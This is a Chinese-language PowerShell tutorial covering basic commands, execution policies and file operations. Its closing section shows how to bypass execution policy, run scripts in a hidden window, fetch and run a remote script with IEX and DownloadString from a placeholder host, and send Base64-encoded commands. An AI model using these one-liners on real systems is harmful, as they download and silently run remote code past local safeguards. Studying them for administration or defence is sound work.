(2)Windows PowerShell使用

什么是PowerShell:

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能。PowerShell是命令提示符的更高级版本。 它用于执行诸如 ping 或 copy 之类的外部程序,并自动执行无法从 cmd.exe 访问的不同系统管理任务。

PowerShell与cmd的区别:
(2)Windows PowerShell使用

PowerShell与Bash Shell比较:
(2)Windows PowerShell使用

如何打开PowerShell:

在Windows下方的搜索处,直接搜索打开

(2)Windows PowerShell使用

按 win + R 输入PowerShell打开

(2)Windows PowerShell使用

打开此电脑,点击左上方文件,找到PowerShell打开

(2)Windows PowerShell使用

在你需要打开的文件路径下,按Shift + 鼠标右键,选择打开PowerShell 可在PowerShell中快速打开文件路径

(2)Windows PowerShell使用

PowerShell常用命令:

在PowerShell下的命令,均采用 “名词+动词” 的形式

查看帮助:help ,查看版本: get-host , 查看动词: get-verb

PS D:\study> help
主题
Windows PowerShell 帮助系统
简短说明
显示有关 Windows PowerShell 的 cmdlet 及概念的帮助。
详细说明
    “Windows PowerShell 帮助”介绍了 Windows PowerShell 的 cmdlet、
    函数、脚本及模块,并解释了
    Windows PowerShell 语言的元素等概念。
    Windows PowerShell 中不包含帮助文件,但你可以联机参阅
    帮助主题,或使用 Update-Help cmdlet 将帮助文件下载
    到你的计算机中,然后在命令行中使用 Get-Help cmdlet 来显示帮助
    主题。
    你也可以使用 Update-Help cmdlet 在该网站发布了更新的帮助文件时下载它们,
    这样,你的本地帮助内容便永远都不会过时。
    如果没有帮助文件,Get-Help 会显示自动生成的有关 cmdlet、
    函数及脚本的帮助。

联机帮助
    你可以在 TechNet 库中找到有关 Windows PowerShell 的联机帮助,
网址为 http://go.microsoft.com/fwlink/?LinkID=108518。
    若要打开有关任一 cmdlet 或函数的联机帮助,请键入:
Get-Help <cmdlet-name> -Online
-- More  --
PS D:\study> Get-Host


Name             : ConsoleHost
Version          : 5.1.17763.1007
InstanceId       : b17b657c-366a-4efa-a95f-a4ba89884117
UI               : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture   : zh-CN
CurrentUICulture : zh-CN
PrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled  : True
IsRunspacePushed : False
Runspace         : System.Management.Automation.Runspaces.LocalRunspace
PS D:\study> Get-Verb

Verb        Group
----        -----
Add         Common
Clear       Common
Close       Common
Copy        Common
Enter       Common
Exit        Common
Find        Common
Format      Common
Get         Common
Hide        Common
Join        Common
Lock        Common
Move        Common
New         Common
Open        Common
Optimize    Common
Pop         Common
Push        Common
Redo        Common
Remove      Common
Rename      Common
Reset       Common
Resize      Common
Search      Common
Select      Common
Set         Common
Show        Common
Skip        Common
Split       Common
Step        Common
Switch      Common
Undo        Common
Unlock      Common
Watch       Common
Backup      Data
Checkpoint  Data
Compare     Data
Compress    Data
Convert     Data
ConvertFrom Data
ConvertTo   Data
Dismount    Data
Edit        Data
Expand      Data
Export      Data
Group       Data
Import      Data
Initialize  Data
Limit       Data
Merge       Data
Mount       Data
Out         Data
Publish     Data
Restore     Data
Save        Data
Sync        Data
Unpublish   Data
Update      Data
Approve     Lifecycle
Assert      Lifecycle
Complete    Lifecycle
Confirm     Lifecycle
Deny        Lifecycle
Disable     Lifecycle
Enable      Lifecycle
Install     Lifecycle
Invoke      Lifecycle
Register    Lifecycle
Request     Lifecycle
Restart     Lifecycle
Resume      Lifecycle
Start       Lifecycle
Stop        Lifecycle
Submit      Lifecycle
Suspend     Lifecycle
Uninstall   Lifecycle
Unregister  Lifecycle
Wait        Lifecycle
Debug       Diagnostic
Measure     Diagnostic
Ping        Diagnostic
Repair      Diagnostic
Resolve     Diagnostic
Test        Diagnostic
Trace       Diagnostic
Connect     Communications
Disconnect  Communications
Read        Communications
Receive     Communications
Send        Communications
Write       Communications
Block       Security
Grant       Security
Protect     Security
Revoke      Security
Unblock     Security
Unprotect   Security
Use         Other

设置PowerShell策略

Powershell一般初始化情况下都会禁止脚本执行。脚本能否执行取决于Powershell的执行策略。
默认执行策略为“Restricted”。

  • 当执行策略为 Restricted 时:
      win8 ,win10 中默认执行 Restricted 的策略。允许单独的命令,但不会运行脚本。阻止所有脚本文件的运行。包括格式设置文件和配置文件 (.ps1xml)、模块脚本文件 (.psm1) 和 Windows PowerShell 配置文件 (.ps1)。
  • 当执行策略为 AllSigned 时:
      脚本可以运行。要求所有脚本和配置文件都由受信任的发布者签名,包括在本地计算机上编写的脚本。会在运行来自某类发布者(即你尚未归类为受信任或不受信任的发布者)的脚本之前提示你。存在运行已签名但却是恶意的脚本的风险。
  • 当执行策略为 REMOTESIGNED 时:
      脚本可以运行。要求从 Internet 下载的脚本和配置文件(包括电子邮件和即时消息程序)具有受信任的发布者的数字签名。不要求你在本地计算机上编写的脚本(不是从 Internet 下载的)具有数字签名。如果脚本已被取消阻止(比如通过使用 Unblock-File cmdlet),则运行从 Internet 下载但未签名的脚本。存在运行来自 Internet 之外的未签名脚本和已签名但却是恶意的脚本的风险。
  • 当执行策略为 UNRESTRICTED 时:
      未签名的脚本可以运行。(这存在运行恶意脚本的风险。)在运行从 Internet 下载的脚本和配置文件之前提醒用户。
  • 当执行策略为 BYPASS 时:
      不阻止任何内容,并且没有任何警告或提示。该执行策略旨在用于后述配置:在其中 Windows PowerShell 被内置于一个更大的应用程序中,或者在其中 Windows PowerShell 是具有其自己安全模式的程序的基础。
  • 当执行策略为 UNDEFINED 时:
      当前作用域中未设置执行策略。如果所有作用域中的执行策略都是 Undefined,则有效的执行策略是 Restricted,它是默认执行策略。
PS C:\Users\Riy> [System.Enum]::GetNames([Microsoft.PowerShell.ExecutionPolicy])  # 查看脚本执行策略
Unrestricted
RemoteSigned
AllSigned
Restricted
Default
Bypass
Undefined
PS C:\Users\Riy> Get-ExecutionPolicy  # 查看当前脚本执行策略
Restricted
PS C:\Users\Riy> Set-ExecutionPolicy Unrestricted  # 更改脚本执行策略,这里报错是因为没有使用管理员权限打开PowerShell
Set-ExecutionPolicy : 对注册表项“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIdsMicrosoft.PowerShell”的访问被拒绝。 要更改默认(LocalMachine)作用域的执行策略,请使用“以管理
员身份运行”选项启动 Windows PowerShell。要更改当前用户的执行策略,请运行 "Set-ExecutionPolicy
 -Scope CurrentUser"。
所在位置 行:1 字符: 1
+ Set-ExecutionPolicy Unrestricted
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (:) [Set-ExecutionPolicy], UnauthorizedAccess
   Exception
    + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Command
   s.SetExecutionPolicyCommand

# 使用管理员权限打开PowerShell

PS C:\WINDOWS\system32> Set-ExecutionPolicy Undefined

执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如
https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies
帮助主题所述。是否要更改执行策略?
[Y] 是(Y)  [A] 全是(A)  [N] 否(N)  [L] 全否(L)  [S] 暂停(S)  [?] 帮助 (默认值为“N”): y

文件操作常用命令:

  • 新键目录: New-Item -Name ‘test‘ -ItemType ‘directory‘
  • 新建文件: New-Item -Name ‘test.txt‘
  • 删除目录或文件: Remove-Item test.txt
  • 显示文本内容: Get-Content test.txt
  • 设置文本内容: Set-Content test.txt -Value ‘Hello World‘
  • 追加文本内容: Add-Content test.txt -Value ‘Love World‘
  • 清除文本内容: Clear-Content test.txt
PS D:\study> New-Item -Name ‘test‘ -ItemType ‘directory‘  # 新建目录


    目录: D:\study


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2020/3/28      0:24                test


PS D:\study> New-Item -Name ‘test.txt‘  # 新建文件


    目录: D:\study


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        2020/3/28      0:24              0 test.txt

PS D:\study> Set-Content test.txt -Value ‘Hello World‘  # 设置文本内容
PS D:\study> Get-Content test.txt  # 显示文本内容
Hello World
PS D:\study> Add-Content test.txt -Value ‘Love World‘  # 追加文本内容
PS D:\study> Get-Content test.txt
Hello World
Love World
PS D:\study> Clear-Content test.txt  # 清除文本内容
PS D:\study> Get-Content test.txt
PS D:\study> Remove-Item test  # 删除文件或目录

绕过本地权限执行脚本

PS D:\study> ‘"Hello World"‘ > test.ps1
PS D:\study> .\test.ps1
.\test.ps1 : 无法加载文件 D:\study\test.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅
https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies。
所在位置 行:1 字符: 1
+ .\test.ps1
+ ~~~~~~~~~~
    + CategoryInfo          : SecurityError: (:) [],PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess

c:\Windows\System32>powershell.exe -ExecutionPolicy Bypass -File test.ps1
Hello World

绕过本地权限执行脚本,并隐藏执行,只有后台能看到脚本正在运行

powershell.exe  -WindowStyle hidden -ExecutionPolicy Bypass -File test.ps1

(2)Windows PowerShell使用

PowerShell下载脚本绕过本地权限并执行

c:\Windows\System32>powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -noni IEX (New-Object Net.WebClient).DownloadString(‘http://xxxx/test.ps1‘)
Hello World

(2)Windows PowerShell使用
(2)Windows PowerShell使用

7、使用Base64对PowerShell命令进行编码

c:\Windows\System32>powershell.exe -EncodedCommand dwBoAG8AYQBtAGkACgA=
laptop-9r39s2hi\riy

相关推荐